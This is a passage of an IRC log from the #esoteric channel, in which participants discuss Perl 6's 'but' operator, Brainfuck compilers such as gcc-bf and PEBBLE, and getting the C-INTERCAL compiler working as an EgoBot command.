a license. < 1241375630 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :nevermind < 1241375634 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :;f < 1241375645 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :!c printf("lawlehcoptahs") < 1241375646 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :lawlehcoptahs < 1241375651 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: but if torrenting, unless I was leeching, I'd be uploading it to other people at the same time < 1241375654 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and /that/ would be illegal < 1241375672 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm... Probably. < 1241375695 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I love perl6's but operator, anyway < 1241375712 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :how does it work? < 1241375716 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in perl5, the string "0 but true" was often used to give a value which was numerically 0, but true < 1241375717 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :^unscramble lawenilothetl < 1241375718 0 :fungot!unknown@unknown.invalid PRIVMSG #esoteric :llatweehntiol < 1241375732 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :http://pastebin.ca/1411339 <-- my lame-o BF textgen. < 1241375740 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in perl6, you can write 0 but true as an expression, and get a copy of 0 that is true < 1241375754 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's so very... Screwy. < 1241375755 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Ewwwwwwwwww < 1241375756 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :probably it's most useful for $var but untainted < 1241375758 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or whatever < 1241375765 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Haha :-D < 1241375765 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Perlesque, even. < 1241375766 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That rocks < 1241375774 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :"true but false" < 1241375784 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: that would be a copy of true, except for being false < 1241375789 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which would just be false, as far as I can tell < 1241375798 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because true and false are the same apart from their truth values < 1241375800 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, as far as I can tell also < 1241375806 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :So it's just a cool way of writing false < 1241375820 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: what gc? < 1241375824 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :libgc < 1241375824 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :except I'm not sure if true and false are the names of the booleans < 1241375831 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: and how is your c2bf? < 1241375836 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :probably they are, though < 1241375839 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I've become too lazy to manage my memory even when it's trivially simple :P < 1241375844 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :nooga: Unmaintained for years. < 1241375867 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :gcc-bf's only unmaintained for months, it must be winning! < 1241375893 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :hoh < 1241375895 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :nooga: It works, but not well. ;) < 1241375907 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :gcc-bf doesn't work, but well < 1241375916 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although it's a bit inefficient, or would be if it worked < 1241375921 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Well, if it generates correct code, than it is much better. :p < 1241375922 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :O(n) pointer access, for instance < 1241375933 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it generates incorrect code, but that's due to bugs < 1241375941 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and unimplemented things, like multiplication < 1241375944 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Bugs don't count when it comes to correctness < 1241375951 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :does anyone know a decent way to do 64-bit multiplication in BF? < 1241375954 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :nooga: http://pastebin.ca/1411342 , there, no gc :P < 1241375960 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :As long as it would be correct if it didn't have any bugs, it's correct < 1241375963 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: By tearing ones eyes out. < 1241375975 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: I'm sure that doesn't comply with the C standard... < 1241375989 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm aiming to be both standards-compliant, and also working on many real-world programs < 1241375998 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: There's a multiplication algorithm, and there's a way of making 8-bit Brainfuck act as 64-bit. < 1241376000 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :gcc-bf's meant to act as much like genuine gcc as possible, whilst still giving output in BF < 1241376007 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: inefficient < 1241376009 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Assuming you can do n-bit multiplication you can probably do m-bit multiplication for m > n < 1241376025 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, but I want efficient implementations of everything < 1241376027 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :True. < 1241376033 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :assuming an impl which optimises run-length < 1241376039 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But there's not many *good* ways to do 64-bit multiplication. < 1241376042 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: where is the src of c2bf? :o < 1241376048 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in fact, I may make gcc-bf output in run-length encoding by default < 1241376052 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Somewhere on codu.org... < 1241376056 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :otherwise my computer starts swapping trying to compile hello world < 1241376067 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Ouch < 1241376103 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the actual compile's fine, it turns out to be the output routine that can't handle it < 1241376122 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :probably by outputting a bit at a time rather than doing the whole thing in memory, I could get around that problem < 1241376146 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hrm. Something like the output format from my (kinda lazy) bfcompress program, then... < 1241376158 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :nooga: It's on sourceforge, project c2bf < 1241376163 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Errm < 1241376168 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Sorry, project brainfuck < 1241376177 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :In SVN, its under the directory c2bf < 1241376178 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: are you gregorr on sourceforge yet? < 1241376188 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster was complaining about being undesirably lowercased < 1241376191 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I don't use sourceforge any more :P < 1241376196 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That program that inspired me to write PEBBLE. < 1241376209 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I wonder how similar PEBBLE is to ABI? < 1241376228 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ABI? < 1241376258 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Application Binary Interface, duuuuh < 1241376275 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, I chose the acronym due to the clash < 1241376279 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: In this context, that leaves me more confused than before. ;p < 1241376283 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in this case, it's Assembable Brainfuck Instructions < 1241376289 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :*Assemblable < 1241376293 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I'd need to look at it. < 1241376296 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Awww, /me liked "Assembable" :( < 1241376297 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's an asm-like precursor to BF < 1241376304 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: let me find some < 1241376307 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and paste it < 1241376335 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Either me or oerjan would be the only people that could judge, I think. (did anyone else do much of anything with PEBBLE?) < 1241376344 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :At this point, if I really wanted a C->BF, I would use mips-gcc and make a MIPS->BF translator. < 1241376370 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :A MIPS->BF translator? That sounds like a really painfully cool idea. < 1241376383 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :$ zcat libm.a > /tmp/libm.abi < 1241376385 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Less painful than a straight C->BF compiler, I bet. < 1241376387 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wow, I can't believe I just wrote that < 1241376406 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ACTION applauds? < 1241376443 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Or maybe a MIPS->{pebble,ABI} translator? :P < 1241376474 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :MIPS->PEBBLE wouldn't be too much easier than MIPS->Brainfuck... < 1241376490 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :PEEBLE < 1241376492 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You'd be able to use some macros instead of implementing arithmetic, I guess. < 1241376563 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Maybe create some macros to help with the function stuff. < 1241376564 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :can't google it :C < 1241376590 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :nooga: I've lost my hosting, sadly. < 1241376635 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :http://pastebin.ca/1411353 < 1241376638 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that should give a good idea < 1241376684 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the linker will split that into more fundamental instructions before converting it to bf < 1241376719 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. That is higher level than PEBBLE. ;) < 1241376732 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :many of the instructions map pretty closely onto BF, though < 1241376739 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :PEBBLE gives you macros, variables, and that's about it. < 1241376739 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what in particular made you think it was higher-level? < 1241376747 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It has labels. < 1241376751 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1241376757 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it has several other things, too < 1241376761 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :like hardware stack and frame < 1241376763 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and pointers < 1241376767 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and registers < 1241376772 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :To do that in PEBBLE, you need to set up nested loops. < 1241376781 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :probably the biggest difference is autoseek < 1241376795 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :< and > can't be translated, instead you say where on the tape to operate < 1241376799 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it figures out how to get there < 1241376800 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(using the if or ift macros instead of while, for readibility's sake) < 1241376811 0 :puzzlet!unknown@unknown.invalid QUIT :Read error: 60 (Operation timed out) < 1241376823 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the C -> ABI part of gcc-bf is pretty much finished < 1241376831 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the ABI -> BF part is running into trouble, though < 1241376845 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, I could implement multiplication using a loop, but that would be massively inefficient < 1241376850 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In PEBBLE, you can go use < and > on the tape any time you want. < 1241376864 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ok, so they aren't really that similar < 1241376865 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Accessing variables while you're doing that is undefined behavior. ;) < 1241376875 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Brainfuck /is/ rather inefficient. < 1241376883 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes, I know < 1241376891 0 :puzzlet!n=puzzlet@147.46.241.168 JOIN :#esoteric < 1241376892 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but I do things like optimise multibyte addition < 1241376902 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so that it adds bytewise, not numberwise < 1241377027 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Which isn't something PEBBLE does. < 1241377039 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(I could add a macro for multibyte addition, though.) < 1241377058 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I use my new favourite technique for compiling ABI < 1241377066 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which is to compile a language into itself < 1241377075 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ABI, therefore, is compiled into lower-level ABI < 1241377082 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :until it's at a low enough level to automatically convert into BF < 1241377085 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :http://esolangs.org/wiki/Ans smells like sadol < 1241377099 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :towards the end, it's mostly full of loloop and tadd2 instructions < 1241377111 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ACTION reappears. < 1241377113 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(loloop = [], tadd2 = [>+>+<<-]) < 1241377133 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: That, amusingly, is how PEBBLE is implemented. < 1241377143 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's the main way to implement such langs < 1241377148 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :lol-loop? < 1241377153 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :low overhead loop < 1241377156 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's a gcc internal term < 1241377166 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for a sort of loop that doesn't require the overhead of a full goto < 1241377179 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Each pass of the compiler just does a few operations on the code, and sends newly generated code on down. < 1241377183 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :OTOH, gcc wasn't designed for a distance between a loloop and a conditional goto quite as big as gcc-bf has < 1241377214 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Did anybody other than me ever write a MISC simulator? (I never released mine, because I'm an idiot) < 1241377252 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :One pass does macro evaluation, one does optimisation, one handles debugging output (basically just writing out *exactly* what instructions the compiler sees to generate stuff), and one finally does code generation. < 1241377278 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :MISC? < 1241377290 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :nooga: http://esoteric.voxelperfect.net/wiki/MISC < 1241377333 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(well, code generation *or* just doing some crazy psuedo-Tcl shit to interpret it) < 1241377343 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Awww, /me liked "Assembable" :( <-- huh. What is likable about that typo. < 1241377369 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :It sounds like baby-talk. < 1241377377 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Only baby-talk of something that it's silly to talk to a baby about. < 1241377384 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Assembly + babble < 1241377385 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah ok < 1241377404 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :OHHH WIDDLE PIDDLE POO, ITS ASSEMBABLE! WIDDLE ABI IS ASSEMBABLE! A DOOBLEDOOBLEDOOO < 1241377451 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :LMAO < 1241377476 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's especially funny if I imagine you actually saying that. ;) < 1241377506 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I don't think you've heard enough of my voice to properly imagine that :P < 1241377542 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: about !intercal, it might be easier for entry over IRC to include a version that used CLC-INTERCAL's C-INTERCAL emulation mode < 1241377550 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which you can do by passing --preload=ick as a command-line option < 1241377554 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Heard it a bit. < 1241377563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!info < 1241377563 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :EgoBot is a bot for running programs in esoteric programming languages. If you'd like to add support for your language to EgoBot, check out the source via mercurial at https://codu.org/projects/egobot/hg/ < 1241377570 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :--reloa=dick < 1241377571 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That video with you describing how to build Dsss, for example? < 1241377574 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Hence my use of the term "enough" < 1241377579 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah. < 1241377585 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well, I can still imagine it. < 1241377592 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Probably not all that well, though. < 1241377595 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :And don't forget the kill yourself song :P < 1241377601 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah, yes. < 1241377606 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ACTION <3 that song < 1241377626 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ACTION is a bit scared that in his backup discs he has a directory "laptop/brainfuck/linux-2.6.11.8" < 1241377637 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ok, that is scary < 1241377644 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I don't think gcc-bf can handle the Linux kernel yet, though < 1241377648 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but wouldn't it be great if it could? < 1241377657 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1241377671 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: That's quite scary. < 1241377678 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : GregorR: about !intercal, it might be easier for entry over IRC to include a version that used CLC-INTERCAL's C-INTERCAL emulation mode < 1241377678 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ym < 1241377680 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :um* < 1241377689 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :shouldn't that be !clc-intercal and !c-intercal < 1241377695 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no < 1241377697 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since they are so different < 1241377697 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I doubt Linux would run without some massive work. < 1241377703 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because it's still CLC-INTERCAL, just with C-INTERCAL emulation < 1241377720 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: There's no I/O, so there's no purpose in running an OS :P < 1241377722 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, yes it should use real ick < 1241377724 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No MMU, for example. < 1241377724 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :maybe !clc-intercal-atari or something would be closest to what's actually happening < 1241377734 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: There's plenty of I/O. < 1241377736 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :stdio! < 1241377736 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: that would involve two compile stages < 1241377737 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, uc-linux < 1241377738 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :? < 1241377740 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1241377742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uclinux < 1241377742 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :even < 1241377744 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yeah. < 1241377750 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, and? < 1241377751 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: Also, it could use PSOX. < 1241377754 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :!c does too < 1241377755 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :Does not compile. < 1241377755 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :first from INTERCAL to C, then from C to executable < 1241377759 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it might be a pain to sandbox < 1241377767 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Nah, that's easy to sandbox. < 1241377775 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, feel free to use C-INTERCAL too < 1241377781 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah two that way < 1241377781 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although it demands files have filenames ending .i < 1241377788 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I didn't reaaaaaaally want to have a whole family of intercals :P < 1241377790 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so you'll have to use a symlink to /dev/stdin, that's what I do < 1241377792 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :GregorR, remember to pass -b < 1241377799 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: there are only three < 1241377803 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ACTION 's brain explodes. < 1241377803 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: why? < 1241377806 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, CLCLC? < 1241377812 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: vaporware < 1241377820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah right < 1241377911 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: INTERCAL is rather nonstandard in operation, more or less by definition < 1241377918 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so it tends to cause a lot of brain explosion < 1241377933 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :What does -b do? < 1241377939 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :removes the random compiler bug < 1241377962 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but really, a 10% chance of the program erroring out at random really isn't that bad for an IRC bot < 1241378014 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh right, I recall that. < 1241378016 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :The bugfeature. < 1241378025 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, any idea when in May wolfram alpha will be released? < 1241378031 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no < 1241378035 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Bugfeature?!? < 1241378035 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1241378042 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, yes < 1241378109 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, there are 4 aren't there. The original one too < 1241378119 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :source lost isn't it < 1241378123 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there's both Princeton and Atari < 1241378129 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Atari is probably source-lost < 1241378145 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's believed that there are still hardcopies of the Princeton compiler source lying around somewhere, though < 1241378145 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ACTION can't figure out how to make ick do anything X-D < 1241378155 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: what are you trying? < 1241378165 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Some code you pasted. < 1241378167 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :A SOURCE IS A SOURCE, OF COURSE, OF COURSE < 1241378173 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: I mean, as the command line < 1241378173 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :DO READ OUT #130~#125 DO GIVE UP < 1241378177 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ick -b foo.i < 1241378180 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :./foo < 1241378180 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Oh, ick -b foo.i < 1241378181 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Yeah < 1241378182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :basically < 1241378196 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well you don't need -b of course < 1241378207 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :bear in mind that ick invokes system to run a C compiler < 1241378212 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Clearly I need something, as it doesn't read :P < 1241378216 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so you need to give it a process limit of 2, or do it separately < 1241378225 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err more than 2 < 1241378229 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you're right < 1241378229 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since GCC calls other ones < 1241378230 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ICL999I NO SKELETON IN MY CLOSET, WOE IS ME! ON THE WAY TO 1 CORRECT SOURCE AND RESUBNIT < 1241378230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :iirc < 1241378232 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :gcc uses lots of processes < 1241378237 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :GregorR: what version are you using? < 1241378245 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the no skeleton indicates a bad install < 1241378256 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but more recent versions make that harder and harder to mess up < 1241378266 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :That's because I didn't install, I'm running it in place :P < 1241378276 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well < 1241378279 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, more recent versions should run in place, too < 1241378285 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there's a lot of dwimmery in finding the skeleton < 1241378288 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :I'm running 0.-2.0.29 < 1241378294 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it looks everywhere plausible it can think of < 1241378305 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :argv[0]'s path, argv[0]/../lib, etc < 1241378315 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :try dumping pit/lib/syslib.i and src/ick-wrap.c into the current directory < 1241378319 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Nope, needed to be installed < 1241378322 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :Now I get < 1241378323 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric :ICL000I DO READ OUT #130~#125 < 1241378323 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric : ON THE WAY TO 2 < 1241378323 0 :GregorR!unknown@unknown.invalid PRIVMSG #esoteric : CORRECT SOURCE AND 